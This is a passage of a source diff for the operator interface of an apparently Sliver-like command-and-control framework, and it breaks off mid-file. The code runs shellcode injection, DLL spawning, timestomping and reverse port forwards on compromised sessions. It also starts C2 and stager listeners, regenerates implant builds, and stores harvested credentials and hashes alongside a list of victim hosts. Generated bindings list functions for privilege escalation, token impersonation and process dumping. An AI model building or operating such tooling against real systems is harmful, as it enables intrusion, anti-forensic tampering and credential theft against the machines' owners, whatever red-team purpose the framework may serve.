appendOut(id, args.length ? `[*] injecting ${args[0]}...` : '[*] no path given — opening file dialog...', 'pending');
const r = await App().ExecuteShellcode(id, args[0] || '', parseInt(args[1])||0);
return appendOut(id, r.error ? `[error] ${r.error}` : (r.output||'[+] done'), r.error?'err':'out');
}
case 'spawndll': {
// spawndll <local-path> [args] (no path = file dialog)
appendOut(id, args.length ? `[*] spawning ${args[0]}...` : '[*] no path given — opening file dialog...', 'pending');
const r = await App().SpawnDll(id, args[0] || '', args.slice(1).join(' '), '');
return appendOut(id, r.error ? `[error] ${r.error}` : (r.output||'[+] done'), r.error?'err':'out');
}
case 'chmod': { if (args.length < 2) return appendOut(id, 'usage: chmod <path> <mode> (e.g. 0755)', 'err'); await App().Chmod(id, args[0], args[1]); return appendOut(id, `[+] chmod ${args[1]} ${args[0]}`, 'out'); }
case 'chown': { if (args.length < 3) return appendOut(id, 'usage: chown <path> <uid> <gid>', 'err'); await App().Chown(id, args[0], args[1], args[2]); return appendOut(id, `[+] chown ${args[1]}:${args[2]} ${args[0]}`, 'out'); }
case 'chtimes': case 'timestomp': {
if (args.length < 2) return appendOut(id, 'usage: chtimes <path> <YYYY-MM-DD HH:MM:SS>', 'err');
const ts = Math.floor(new Date(args.slice(1).join(' ')).getTime()/1000);
if (isNaN(ts)) return appendOut(id, 'invalid date — use e.g. 2021-01-01 09:00:00', 'err');
await App().Chtimes(id, args[0], ts, ts);
return appendOut(id, `[+] timestomped ${args[0]} -> ${args.slice(1).join(' ')}`, 'out');
}
case 'rportfwd': {
const sub = (args[0]||'').toLowerCase();
if (sub === 'add') { await App().StartRportFwd(id, '0.0.0.0', parseInt(args[1]), args[2], parseInt(args[3])); return appendOut(id, `[+] reverse forward: target :${args[1]} -> ${args[2]}:${args[3]}`, 'out'); }
if (sub === 'rm') { await App().StopRportFwd(id, parseInt(args[1])); return appendOut(id, `[+] removed reverse forward ${args[1]}`, 'out'); }
const fwds = await App().ListRportFwds(id);
return appendOut(id, fwds.length ? fwds.map(f => `#${f.id} ${f.bind} -> ${f.forward}`).join('\n') : '[*] no reverse port forwards', 'info');
}
case 'getpid': return appendOut(id, String(tab.obj.pid), 'out');
case 'getuid': case 'getgid': return dispatchCmd(kind, id, 'whoami');
default: {
// Server/panel commands are not session commands — guide instead of
// silently running them in cmd.exe.
@@ -790,6 +944,8 @@ document.querySelectorAll('.tb-btn').forEach(btn => {
if (view === 'profiles') openProfilesPanel();
if (view === 'events') openEventsPanel();
if (view === 'loot') openLootPanel();
if (view === 'creds') openCredsPanel();
if (view === 'hosts') openHostsPanel();
if (view === 'operators') openOperatorsPanel();
});
});
@@ -836,13 +992,24 @@ const SERVER_HELP = `Server console — runs teamserver commands (NOT on a targe
jobs kill <id> kill a listener/job
operators | players list operators
loot [rm <id>] list / remove loot
hosts [rm <id>] list / remove hosts DB entries
creds [add <u> <p> | rm <id>] list / add / remove credentials
builds list implant builds
regenerate <name> re-download a previous build
profiles list implant profiles
websites [rm <name>] list / remove hosted websites
canaries list DNS canaries (tripwires)
stager <host> <port> <profile> start a TCP stager listener
use <id-prefix> interact with a session/beacon
c2profiles list HTTP C2 profiles
rename <id> <name> rename a session
kill-session <id> kill a session
kill-beacon <id> remove a beacon
mtls [port] start an mTLS listener (default 8443)
http [port] start an HTTP listener (default 80)
https [port] start an HTTPS listener (default 443)
dns <domain...> start a DNS listener
wg [port] [nport] [key] start a WireGuard listener
clear clear this console`;
function pinServerConsole() {
@@ -921,6 +1088,44 @@ async function runServerCmd(raw) {
case 'http': { await App().StartHTTPListener({host:'0.0.0.0',port:parseInt(args[0])||80,secure:false}); return appendServer(`[+] HTTP listener started on :${parseInt(args[0])||80}`, 'out'); }
case 'https': { await App().StartHTTPListener({host:'0.0.0.0',port:parseInt(args[0])||443,secure:true}); return appendServer(`[+] HTTPS listener started on :${parseInt(args[0])||443}`, 'out'); }
case 'dns': { if (!args.length) return appendServer('usage: dns <domain...>', 'err'); await App().StartDNSListener({domains:args}); return appendServer(`[+] DNS listener for ${args.join(', ')}`, 'out'); }
case 'wg': case 'wireguard': { await App().StartWGListener({port:parseInt(args[0])||53,nPort:parseInt(args[1])||8888,keyPort:parseInt(args[2])||1337}); return appendServer(`[+] WireGuard listener started`, 'out'); }
case 'kill-session': case 'rm-session': { if (!args[0]) return appendServer('usage: kill-session <id-prefix>', 'err'); const s = allSessions.find(x => x.id.startsWith(args[0])); if (!s) return appendServer('no matching session', 'err'); await App().KillSession(s.id); return appendServer(`[+] killed session ${s.hostname}`, 'out'); }
case 'kill-beacon': case 'rm-beacon': { if (!args[0]) return appendServer('usage: kill-beacon <id-prefix>', 'err'); const b = allBeacons.find(x => x.id.startsWith(args[0])); if (!b) return appendServer('no matching beacon', 'err'); await App().KillBeacon(b.id); return appendServer(`[+] removed beacon ${b.hostname}`, 'out'); }
case 'rename': { if (args.length < 2) return appendServer('usage: rename <session-id-prefix> <new-name>', 'err'); const s = allSessions.find(x => x.id.startsWith(args[0])); if (!s) return appendServer('no matching session', 'err'); await App().RenameSession(s.id, args.slice(1).join(' ')); refreshAgents(); return appendServer('[+] renamed', 'out'); }
case 'c2profiles': { const p = await App().ListC2Profiles(); if (!p.length) return appendServer('no HTTP C2 profiles', 'info'); return appendServer(p.map(x => x.name).join('\n'), 'out'); }
case 'hosts': {
if (args[0] === 'rm') { await App().DeleteHost(args[1]); return appendServer(`[+] host ${args[1]} removed`, 'out'); }
const h = await App().ListHosts(); if (!h.length) return appendServer('no hosts in the database', 'info');
let o = 'HOSTNAME OS UUID\n';
h.forEach(x => o += `${(x.hostname||'').slice(0,20).padEnd(21)}${(x.os||'').slice(0,30).padEnd(31)}${(x.uuid||'').slice(0,12)}\n`);
return appendServer(o.trimEnd(), 'out');
}
case 'creds': {
if (args[0] === 'add') { if (args.length < 3) return appendServer('usage: creds add <username> <password>', 'err'); await App().AddCred(args[1], args[2], ''); return appendServer('[+] credential added', 'out'); }
if (args[0] === 'rm') { await App().DeleteCred(args[1]); return appendServer(`[+] credential ${args[1]} removed`, 'out'); }
const c = await App().ListCreds(); if (!c.length) return appendServer('no credentials stored', 'info');
let o = 'USERNAME PLAINTEXT / HASH\n';
c.forEach(x => o += `${(x.username||'').slice(0,20).padEnd(21)}${x.plaintext || x.hash || ''}\n`);
return appendServer(o.trimEnd(), 'out');
}
case 'regenerate': { if (!args[0]) return appendServer('usage: regenerate <build-name>', 'err'); const r = await App().RegenerateBuild(args[0]); return appendServer(r.error ? `[error] ${r.error}` : `[+] saved ${r.path} (${fmtSize(r.bytes)})`, r.error?'err':'out'); }
case 'websites': {
if (args[0] === 'rm') { await App().RemoveWebsite(args[1]); return appendServer(`[+] website ${args[1]} removed`, 'out'); }
const w = await App().ListWebsites(); if (!w.length) return appendServer('no websites', 'info');
return appendServer(w.map(x => `${(x.name||'').padEnd(20)} ${x.paths} path(s)`).join('\n'), 'out');
}
case 'canaries': {
const c = await App().ListCanaries(); if (!c.length) return appendServer('no canaries', 'info');
let o = 'DOMAIN IMPLANT TRIGGERED COUNT\n';
c.forEach(x => o += `${(x.domain||'').slice(0,30).padEnd(31)}${(x.implantName||'').slice(0,20).padEnd(21)}${(x.triggered?'YES':'no').padEnd(11)}${x.count}\n`);
return appendServer(o.trimEnd(), 'out');
}
case 'stager': {
if (args.length < 3) return appendServer('usage: stager <host> <port> <profile>', 'err');
const jid = await App().StartStagerListener(args[0], parseInt(args[1]), args[2]).catch(e => { appendServer(`[error] ${e}`, 'err'); return null; });
if (jid !== null) return appendServer(`[+] TCP stager listener started on ${args[0]}:${args[1]} (job ${jid})`, 'out');
return;
}
default: appendServer(`unknown server command: ${cmd} (type 'help')`, 'err');
}
} catch (e) { appendServer('[error] ' + e, 'err'); }
@@ -971,6 +1176,49 @@ async function lootDownload(lootID) {
toast(r.error ? 'err' : 'ok', r.error ? `Loot download failed: ${r.error}` : `Saved to ${r.path}`);
}
// ── Creds panel ─────────────────────────────────────────────────────────────
function openCredsPanel() {
const content = `<div class="panel" style="margin-bottom:12px"><h3>Add Credential</h3>
<form id="cred-form">
<div class="gen-row">
<div class="gen-field"><label>Username</label><input name="username" placeholder="user"/></div>
<div class="gen-field"><label>Password / Plaintext</label><input name="plaintext" placeholder="P@ss"/></div>
<div class="gen-field"><label>Hash (optional)</label><input name="hash" placeholder="NTLM/hash"/></div>
</div>
<div class="gen-row"><button type="submit" class="btn accent" style="margin-left:auto">Add</button></div>
<div id="cred-msg" class="status-msg"></div>
</form></div>
<div style="overflow:auto;flex:1" id="creds-list"><div style="padding:10px;color:var(--muted)">Loading...</div></div>`;
openViewPanel('_creds', 'Credentials', content);
const f = document.getElementById('cred-form');
f.addEventListener('submit', async e => {
e.preventDefault();
const msg = document.getElementById('cred-msg'); msg.textContent = 'Saving...'; msg.className = 'status-msg';
const err = await App().AddCred(f.username.value, f.plaintext.value, f.hash.value).then(()=>null).catch(e=>String(e));
if (err) { msg.textContent = err; msg.className = 'status-msg err'; }
else { msg.textContent = 'Added'; msg.className = 'status-msg ok'; f.reset(); refreshCredsList(); }
});
refreshCredsList();
}
async function refreshCredsList() {
const el = document.getElementById('creds-list'); if (!el) return;
const creds = await App().ListCreds().catch(() => []);
if (!creds.length) { el.innerHTML = '<div style="padding:10px;color:var(--muted)">No credentials stored.</div>'; return; }
el.innerHTML = creds.map(c => `<div style="padding:5px 10px;font-size:12.5px;display:flex;gap:12px;align-items:center;border-bottom:1px solid var(--border)"><span style="flex:1;color:var(--info)">${esc(c.username)}</span><span style="flex:1;font-family:var(--mono)">${esc(c.plaintext||c.hash||'')}</span>${c.cracked?'<span style="color:var(--ok)">cracked</span>':''}<button class="btn small danger" onclick="App().DeleteCred('${esc(c.id)}').then(refreshCredsList)">Del</button></div>`).join('');
}
// ── Hosts panel ─────────────────────────────────────────────────────────────
function openHostsPanel() {
openViewPanel('_hosts', 'Hosts', `<div style="overflow:auto;flex:1" id="hosts-list"><div style="padding:10px;color:var(--muted)">Loading...</div></div>`);
refreshHostsList();
}
async function refreshHostsList() {
const el = document.getElementById('hosts-list'); if (!el) return;
const hosts = await App().ListHosts().catch(() => []);
if (!hosts.length) { el.innerHTML = '<div style="padding:10px;color:var(--muted)">No hosts in the database.</div>'; return; }
el.innerHTML = hosts.map(h => `<div style="padding:5px 10px;font-size:12.5px;display:flex;gap:12px;align-items:center;border-bottom:1px solid var(--border)"><span style="flex:1;color:var(--info)">${esc(h.hostname)}</span><span style="flex:1;color:var(--muted)">${esc(h.os)}</span><span style="color:var(--muted);font-family:var(--mono)">${esc((h.uuid||'').slice(0,8))}</span><span style="color:var(--muted)">${esc(h.firstSeen)}</span><button class="btn small danger" onclick="App().DeleteHost('${esc(h.id)}').then(refreshHostsList)">Del</button></div>`).join('');
}
function openBuildsPanel() {
openViewPanel('_builds', 'Builds', `<div style="overflow:auto;flex:1" id="builds-list"><div style="padding:10px;color:var(--muted)">Loading...</div></div>`);
refreshBuildsList();
@@ -979,7 +1227,11 @@ async function refreshBuildsList() {
const el = document.getElementById('builds-list'); if (!el) return;
const builds = await App().GetBuildHistory().catch(() => []);
if (!builds?.length) { el.innerHTML = '<div style="padding:10px;color:var(--muted)">No builds yet.</div>'; return; }
el.innerHTML = builds.map(b => `<div style="padding:4px 10px;font-size:12.5px;display:flex;gap:10px;align-items:center;border-bottom:1px solid var(--border)"><span style="flex:1">${esc(b.name)}</span><span style="color:var(--muted)">${esc(b.goos)}/${esc(b.goarch)}</span><span style="color:var(--muted)">${esc(b.format)}</span><span style="color:var(--muted);font-family:var(--mono);max-width:200px;overflow:hidden;text-overflow:ellipsis">${esc((b.c2Urls||[]).join(','))}</span><button class="btn small danger" onclick="if(confirm('Delete build ${esc(b.name)}?'))App().DeleteBuild('${esc(b.name)}').then(refreshBuildsList)">Del</button></div>`).join('');
el.innerHTML = builds.map(b => `<div style="padding:4px 10px;font-size:12.5px;display:flex;gap:10px;align-items:center;border-bottom:1px solid var(--border)"><span style="flex:1">${esc(b.name)}</span><span style="color:var(--muted)">${esc(b.goos)}/${esc(b.goarch)}</span><span style="color:var(--muted)">${esc(b.format)}</span><span style="color:var(--muted);font-family:var(--mono);max-width:180px;overflow:hidden;text-overflow:ellipsis">${esc((b.c2Urls||[]).join(','))}</span><button class="btn small" onclick="buildRegen('${esc(b.name)}')">Download</button><button class="btn small danger" onclick="if(confirm('Delete build ${esc(b.name)}?'))App().DeleteBuild('${esc(b.name)}').then(refreshBuildsList)">Del</button></div>`).join('');
}
async function buildRegen(name) {
const r = await App().RegenerateBuild(name).catch(e => ({ error: String(e) }));
toast(r.error ? 'err' : 'ok', r.error ? `Regenerate failed: ${r.error}` : `Saved to ${r.path}`);
}
function profilesContent() {
+11 -2
View File
@@ -103,6 +103,9 @@ input::placeholder{color:var(--muted);}
.data-table tbody tr.selected{background:var(--panel-hi);}
.type-session{color:#5cd68e;font-weight:700;font-size:9.5px;background:rgba(53,196,107,.1);border:1px solid rgba(53,196,107,.28);padding:2px 8px;border-radius:4px;letter-spacing:.5px;}
.type-beacon{color:#79b7ec;font-weight:700;font-size:9.5px;background:rgba(77,159,230,.1);border:1px solid rgba(77,159,230,.28);padding:2px 8px;border-radius:4px;letter-spacing:.5px;}
.user-priv{color:var(--accent);font-weight:700;}
.row-priv td:first-child{box-shadow:inset 3px 0 0 var(--warn);}
.data-table tbody tr.row-priv:hover td:first-child{box-shadow:inset 3px 0 0 var(--accent);}
.status-alive{color:var(--ok);font-weight:600;}
.status-alive::before{content:"●";margin-right:5px;color:var(--ok);}
.status-dead{color:var(--accent);font-weight:600;}
@@ -113,14 +116,20 @@ input::placeholder{color:var(--muted);}
#graph-svg{width:100%;height:100%;display:block;position:relative;z-index:1;}
.gedge{stroke:var(--ok);stroke-width:2.5;opacity:.7;stroke-linecap:round;}
.gedge.beacon{stroke:var(--info);stroke-dasharray:7 5;}
.gedge.priv{stroke:var(--accent);stroke-width:3;opacity:.9;} /* privileged agent (SYSTEM/admin) */
.gedge.dead{stroke:var(--muted);stroke-width:1.5;opacity:.3;stroke-dasharray:2 6;}
.gnode{transition:filter .12s ease;}
.gnode:hover{filter:brightness(1.25);}
.gnode.dead{filter:grayscale(1) opacity(.5);}
.gnode.dead:hover{filter:grayscale(1) opacity(.7);}
.gnode.dead{opacity:.75;} /* dedicated DEAD icon conveys the state */
.gnode.dead:hover{opacity:1;}
.graph-legend{position:absolute;bottom:0;left:0;right:0;display:flex;gap:12px;padding:6px 12px;background:rgba(11,12,17,.94);border-top:1px solid var(--border);font-size:10.5px;color:var(--text-dim);align-items:center;}
.leg-item{display:flex;align-items:center;gap:5px;}
.leg-dot{width:9px;height:9px;border-radius:2px;}
.leg-line{display:inline-block;width:18px;height:0;border-top:3px solid var(--muted);vertical-align:middle;}
.leg-line.priv{border-top-color:var(--accent);}
.leg-line.user{border-top-color:var(--ok);}
.leg-line.beacon{border-top:3px dashed var(--info);}
.leg-line.dead{border-top:3px dashed var(--muted);opacity:.5;}
.leg-dot.priv{background:var(--accent);}
.leg-dot.user{background:var(--ok);}
.leg-dot.dead{background:var(--muted);}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

-167
View File
@@ -1,167 +0,0 @@
// Cynhyrchwyd y ffeil hon yn awtomatig. PEIDIWCH Â MODIWL
// This file is automatically generated. DO NOT EDIT
import {main} from '../models';
export function AddPortForward(arg1:string,arg2:number,arg3:string,arg4:number):Promise<void>;
export function ChangeDir(arg1:string,arg2:string):Promise<string>;
export function Connect(arg1:string):Promise<main.ConnectResult>;
export function CopyFile(arg1:string,arg2:string,arg3:string):Promise<number>;
export function CurrentTokenOwner(arg1:string):Promise<string>;
export function DeleteBuild(arg1:string):Promise<void>;
export function DeleteImplantProfile(arg1:string):Promise<void>;
export function DeleteLoot(arg1:string):Promise<void>;
export function Disconnect():Promise<void>;
export function DownloadFile(arg1:string,arg2:string):Promise<main.TransferResult>;
export function DownloadFileTo(arg1:string,arg2:string,arg3:string):Promise<main.TransferResult>;
export function DownloadLoot(arg1:string):Promise<main.TransferResult>;
export function ExecuteAssembly(arg1:string,arg2:string):Promise<main.AssemblyResult>;
export function ExecuteBeaconCommand(arg1:string,arg2:string):Promise<main.BeaconTaskResult>;
export function ExecuteBeaconCommandAsync(arg1:string,arg2:string):Promise<main.BeaconTaskResult>;
export function ExecuteCommand(arg1:string,arg2:string):Promise<main.ExecResult>;
export function GenerateImplant(arg1:main.GenerateRequest):Promise<main.GenerateResult>;
export function GetBeaconTaskResult(arg1:string):Promise<main.BeaconTaskView>;
export function GetBeaconTasks(arg1:string):Promise<Array<main.BeaconTaskView>>;
export function GetBuildHistory():Promise<Array<main.BuildView>>;
export function GetEnvVars(arg1:string):Promise<Array<main.EnvVar>>;
export function GetLoot():Promise<Array<main.LootView>>;
export function GetNetstat(arg1:string):Promise<Array<main.NetstatEntry>>;
export function GetPrivs(arg1:string):Promise<main.PrivsResult>;
export function GetProcessList(arg1:string):Promise<Array<main.ProcessView>>;
export function GetSystem(arg1:string,arg2:string,arg3:string):Promise<void>;
export function GetVersion():Promise<main.VersionInfo>;
export function Ifconfig(arg1:string):Promise<Array<main.NetInterfaceView>>;
export function ImpersonateUser(arg1:string,arg2:string):Promise<void>;
export function KillBeacon(arg1:string):Promise<void>;
export function KillJob(arg1:number):Promise<void>;
export function KillRemoteProcess(arg1:string,arg2:number):Promise<void>;
export function KillSession(arg1:string):Promise<void>;
export function ListBeacons():Promise<Array<main.BeaconView>>;
export function ListC2Profiles():Promise<Array<main.C2ProfileView>>;
export function ListFiles(arg1:string,arg2:string):Promise<main.LsResult>;
export function ListImplantProfiles():Promise<Array<main.ProfileView>>;
export function ListJobs():Promise<Array<main.JobView>>;
export function ListOperators():Promise<Array<main.OperatorView>>;
export function ListPivots(arg1:string):Promise<Array<main.PivotView>>;
export function ListPortForwards(arg1:string):Promise<Array<main.PortForwardView>>;
export function ListServices(arg1:string):Promise<Array<main.ServiceView>>;
export function ListSessions():Promise<Array<main.SessionView>>;
export function ListenerC2Options():Promise<Array<string>>;
export function LootFile(arg1:string,arg2:string):Promise<void>;
export function MakeDirectory(arg1:string,arg2:string):Promise<void>;
export function MakeToken(arg1:string,arg2:string,arg3:string,arg4:string):Promise<void>;
export function MoveFile(arg1:string,arg2:string,arg3:string):Promise<void>;
export function PickConfigFile():Promise<string>;
export function PrintWorkingDir(arg1:string):Promise<string>;
export function ProcessDump(arg1:string,arg2:number):Promise<main.TransferResult>;
export function ReadRemoteFile(arg1:string,arg2:string):Promise<string>;
export function RegistryCreateKey(arg1:string,arg2:string,arg3:string,arg4:string):Promise<void>;
export function RegistryDeleteKey(arg1:string,arg2:string,arg3:string,arg4:string):Promise<void>;
export function RegistryListSubKeys(arg1:string,arg2:string,arg3:string):Promise<Array<string>>;
export function RegistryListValues(arg1:string,arg2:string,arg3:string):Promise<Array<main.RegistryValue>>;
export function RegistryReadValue(arg1:string,arg2:string,arg3:string,arg4:string):Promise<string>;
export function RegistryWriteValue(arg1:string,arg2:string,arg3:string,arg4:string,arg5:string):Promise<void>;
export function RemoveFile(arg1:string,arg2:string):Promise<void>;
export function RemovePortForward(arg1:string,arg2:number):Promise<void>;
export function RemoveService(arg1:string,arg2:string,arg3:string):Promise<void>;
export function RenameSession(arg1:string,arg2:string):Promise<void>;
export function RevToSelf(arg1:string):Promise<void>;
export function RunExecute(arg1:string,arg2:string,arg3:Array<string>):Promise<main.ExecResult>;
export function SaveImplantProfile(arg1:main.GenerateRequest):Promise<void>;
export function SetEnvVar(arg1:string,arg2:string,arg3:string):Promise<void>;
export function Sideload(arg1:string,arg2:string,arg3:string):Promise<main.AssemblyResult>;
export function SocksProxyStatus(arg1:string):Promise<number>;
export function StartDNSListener(arg1:main.StartDNSReq):Promise<void>;
export function StartHTTPListener(arg1:main.StartHTTPReq):Promise<void>;
export function StartMTLSListener(arg1:main.StartMTLSReq):Promise<void>;
export function StartPivotListener(arg1:string,arg2:string,arg3:string):Promise<void>;
export function StartService(arg1:string,arg2:string,arg3:string,arg4:string):Promise<void>;
export function StartSocksProxy(arg1:string,arg2:number):Promise<void>;
export function StartWGListener(arg1:main.StartWGReq):Promise<void>;
export function StopPivotListener(arg1:string,arg2:number):Promise<void>;
export function StopService(arg1:string,arg2:string,arg3:string):Promise<void>;
export function StopSocksProxy(arg1:string):Promise<void>;
export function TakeScreenshot(arg1:string):Promise<string>;
export function UnsetEnvVar(arg1:string,arg2:string):Promise<void>;
export function UploadFile(arg1:string,arg2:string):Promise<main.TransferResult>;
export function UploadFileFrom(arg1:string,arg2:string,arg3:string):Promise<main.TransferResult>;
-331
View File
@@ -1,331 +0,0 @@
// @ts-check
// Cynhyrchwyd y ffeil hon yn awtomatig. PEIDIWCH Â MODIWL
// This file is automatically generated. DO NOT EDIT
export function AddPortForward(arg1, arg2, arg3, arg4) {
return window['go']['main']['App']['AddPortForward'](arg1, arg2, arg3, arg4);
}
export function ChangeDir(arg1, arg2) {
return window['go']['main']['App']['ChangeDir'](arg1, arg2);
}
export function Connect(arg1) {
return window['go']['main']['App']['Connect'](arg1);
}
export function CopyFile(arg1, arg2, arg3) {
return window['go']['main']['App']['CopyFile'](arg1, arg2, arg3);
}
export function CurrentTokenOwner(arg1) {
return window['go']['main']['App']['CurrentTokenOwner'](arg1);
}
export function DeleteBuild(arg1) {
return window['go']['main']['App']['DeleteBuild'](arg1);
}
export function DeleteImplantProfile(arg1) {
return window['go']['main']['App']['DeleteImplantProfile'](arg1);
}
export function DeleteLoot(arg1) {
return window['go']['main']['App']['DeleteLoot'](arg1);
}
export function Disconnect() {
return window['go']['main']['App']['Disconnect']();
}
export function DownloadFile(arg1, arg2) {
return window['go']['main']['App']['DownloadFile'](arg1, arg2);
}
export function DownloadFileTo(arg1, arg2, arg3) {
return window['go']['main']['App']['DownloadFileTo'](arg1, arg2, arg3);
}
export function DownloadLoot(arg1) {
return window['go']['main']['App']['DownloadLoot'](arg1);
}
export function ExecuteAssembly(arg1, arg2) {
return window['go']['main']['App']['ExecuteAssembly'](arg1, arg2);
}
export function ExecuteBeaconCommand(arg1, arg2) {
return window['go']['main']['App']['ExecuteBeaconCommand'](arg1, arg2);
}
export function ExecuteBeaconCommandAsync(arg1, arg2) {
return window['go']['main']['App']['ExecuteBeaconCommandAsync'](arg1, arg2);
}
export function ExecuteCommand(arg1, arg2) {
return window['go']['main']['App']['ExecuteCommand'](arg1, arg2);
}
export function GenerateImplant(arg1) {
return window['go']['main']['App']['GenerateImplant'](arg1);
}
export function GetBeaconTaskResult(arg1) {
return window['go']['main']['App']['GetBeaconTaskResult'](arg1);
}
export function GetBeaconTasks(arg1) {
return window['go']['main']['App']['GetBeaconTasks'](arg1);
}
export function GetBuildHistory() {
return window['go']['main']['App']['GetBuildHistory']();
}
export function GetEnvVars(arg1) {
return window['go']['main']['App']['GetEnvVars'](arg1);
}
export function GetLoot() {
return window['go']['main']['App']['GetLoot']();
}
export function GetNetstat(arg1) {
return window['go']['main']['App']['GetNetstat'](arg1);
}
export function GetPrivs(arg1) {
return window['go']['main']['App']['GetPrivs'](arg1);
}
export function GetProcessList(arg1) {
return window['go']['main']['App']['GetProcessList'](arg1);
}
export function GetSystem(arg1, arg2, arg3) {
return window['go']['main']['App']['GetSystem'](arg1, arg2, arg3);
}
export function GetVersion() {
return window['go']['main']['App']['GetVersion']();
}
export function Ifconfig(arg1) {
return window['go']['main']['App']['Ifconfig'](arg1);
}
export function ImpersonateUser(arg1, arg2) {
return window['go']['main']['App']['ImpersonateUser'](arg1, arg2);
}
export function KillBeacon(arg1) {
return window['go']['main']['App']['KillBeacon'](arg1);
}
export function KillJob(arg1) {
return window['go']['main']['App']['KillJob'](arg1);
}
export function KillRemoteProcess(arg1, arg2) {
return window['go']['main']['App']['KillRemoteProcess'](arg1, arg2);
}
export function KillSession(arg1) {
return window['go']['main']['App']['KillSession'](arg1);
}
export function ListBeacons() {
return window['go']['main']['App']['ListBeacons']();
}
export function ListC2Profiles() {
return window['go']['main']['App']['ListC2Profiles']();
}
export function ListFiles(arg1, arg2) {
return window['go']['main']['App']['ListFiles'](arg1, arg2);
}
export function ListImplantProfiles() {
return window['go']['main']['App']['ListImplantProfiles']();
}
export function ListJobs() {
return window['go']['main']['App']['ListJobs']();
}
export function ListOperators() {
return window['go']['main']['App']['ListOperators']();
}
export function ListPivots(arg1) {
return window['go']['main']['App']['ListPivots'](arg1);
}
export function ListPortForwards(arg1) {
return window['go']['main']['App']['ListPortForwards'](arg1);
}
export function ListServices(arg1) {
return window['go']['main']['App']['ListServices'](arg1);
}
export function ListSessions() {
return window['go']['main']['App']['ListSessions']();
}
export function ListenerC2Options() {
return window['go']['main']['App']['ListenerC2Options']();
}
export function LootFile(arg1, arg2) {
return window['go']['main']['App']['LootFile'](arg1, arg2);
}
export function MakeDirectory(arg1, arg2) {
return window['go']['main']['App']['MakeDirectory'](arg1, arg2);
}
export function MakeToken(arg1, arg2, arg3, arg4) {
return window['go']['main']['App']['MakeToken'](arg1, arg2, arg3, arg4);
}
export function MoveFile(arg1, arg2, arg3) {
return window['go']['main']['App']['MoveFile'](arg1, arg2, arg3);
}
export function PickConfigFile() {
return window['go']['main']['App']['PickConfigFile']();
}
export function PrintWorkingDir(arg1) {
return window['go']['main']['App']['PrintWorkingDir'](arg1);
}
export function ProcessDump(arg1, arg2) {
return window['go']['main']['App']['ProcessDump'](arg1, arg2);
}
export function ReadRemoteFile(arg1, arg2) {
return window['go']['main']['App']['ReadRemoteFile'](arg1, arg2);
}
export function RegistryCreateKey(arg1, arg2, arg3, arg4) {
return window['go']['main']['App']['RegistryCreateKey'](arg1, arg2, arg3, arg4);
}
export function RegistryDeleteKey(arg1, arg2, arg3, arg4) {
return window['go']['main']['App']['RegistryDeleteKey'](arg1, arg2, arg3, arg4);
}
export function RegistryListSubKeys(arg1, arg2, arg3) {
return window['go']['main']['App']['RegistryListSubKeys'](arg1, arg2, arg3);
}
export function RegistryListValues(arg1, arg2, arg3) {
return window['go']['main']['App']['RegistryListValues'](arg1, arg2, arg3);
}
export function RegistryReadValue(arg1, arg2, arg3, arg4) {
return window['go']['main']['App']['RegistryReadValue'](arg1, arg2, arg3, arg4);
}
export function RegistryWriteValue(arg1, arg2, arg3, arg4, arg5) {
return window['go']['main']['App']['RegistryWriteValue'](arg1, arg2, arg3, arg4, arg5);
}
export function RemoveFile(arg1, arg2) {
return window['go']['main']['App']['RemoveFile'](arg1, arg2);
}
export function RemovePortForward(arg1, arg2) {
return window['go']['main']['App']['RemovePortForward'](arg1, arg2);
}
export function RemoveService(arg1, arg2, arg3) {
return window['go']['main']['App']['RemoveService'](arg1, arg2, arg3);
}
export function RenameSession(arg1, arg2) {
return window['go']['main']['App']['RenameSession'](arg1, arg2);
}
export function RevToSelf(arg1) {
return window['go']['main']['App']['RevToSelf'](arg1);
}
export function RunExecute(arg1, arg2, arg3) {
return window['go']['main']['App']['RunExecute'](arg1, arg2, arg3);
}
export function SaveImplantProfile(arg1) {
return window['go']['main']['App']['SaveImplantProfile'](arg1);
}
export function SetEnvVar(arg1, arg2, arg3) {
return window['go']['main']['App']['SetEnvVar'](arg1, arg2, arg3);
}
export function Sideload(arg1, arg2, arg3) {
return window['go']['main']['App']['Sideload'](arg1, arg2, arg3);
}
export function SocksProxyStatus(arg1) {
return window['go']['main']['App']['SocksProxyStatus'](arg1);
}
export function StartDNSListener(arg1) {
return window['go']['main']['App']['StartDNSListener'](arg1);
}
export function StartHTTPListener(arg1) {
return window['go']['main']['App']['StartHTTPListener'](arg1);
}
export function StartMTLSListener(arg1) {
return window['go']['main']['App']['StartMTLSListener'](arg1);
}
export function StartPivotListener(arg1, arg2, arg3) {
return window['go']['main']['App']['StartPivotListener'](arg1, arg2, arg3);
}
export function StartService(arg1, arg2, arg3, arg4) {
return window['go']['main']['App']['StartService'](arg1, arg2, arg3, arg4);
}
export function StartSocksProxy(arg1, arg2) {
return window['go']['main']['App']['StartSocksProxy'](arg1, arg2);
}
export function StartWGListener(arg1) {
return window['go']['main']['App']['StartWGListener'](arg1);
}
export function StopPivotListener(arg1, arg2) {
return window['go']['main']['App']['StopPivotListener'](arg1, arg2);
}
export function StopService(arg1, arg2, arg3) {
return window['go']['main']['App']['StopService'](arg1, arg2, arg3);
}
export function StopSocksProxy(arg1) {
return window['go']['main']['App']['StopSocksProxy'](arg1);
}
export function TakeScreenshot(arg1) {
return window['go']['main']['App']['TakeScreenshot'](arg1);
}
export function UnsetEnvVar(arg1, arg2) {
return window['go']['main']['App']['UnsetEnvVar'](arg1, arg2);
}
export function UploadFile(arg1, arg2) {
return window['go']['main']['App']['UploadFile'](arg1, arg2);
}
export function UploadFileFrom(arg1, arg2, arg3) {
return window['go']['main']['App']['UploadFileFrom'](arg1, arg2, arg3);
}
-655
View File
@@ -1,655 +0,0 @@
export namespace main {
export class AssemblyResult {
output: string;
error?: string;
static createFrom(source: any = {}) {
return new AssemblyResult(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.output = source["output"];
this.error = source["error"];
}
}
export class BeaconTaskResult {
taskId: string;
status: string;
stdout: string;
stderr: string;
error?: string;
static createFrom(source: any = {}) {
return new BeaconTaskResult(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.taskId = source["taskId"];
this.status = source["status"];
this.stdout = source["stdout"];
this.stderr = source["stderr"];
this.error = source["error"];
}
}
export class BeaconTaskView {
id: string;
state: string;
description: string;
createdAt: string;
completedAt: string;
response: string;
static createFrom(source: any = {}) {
return new BeaconTaskView(source);
}
constructor(source: any = {}) {
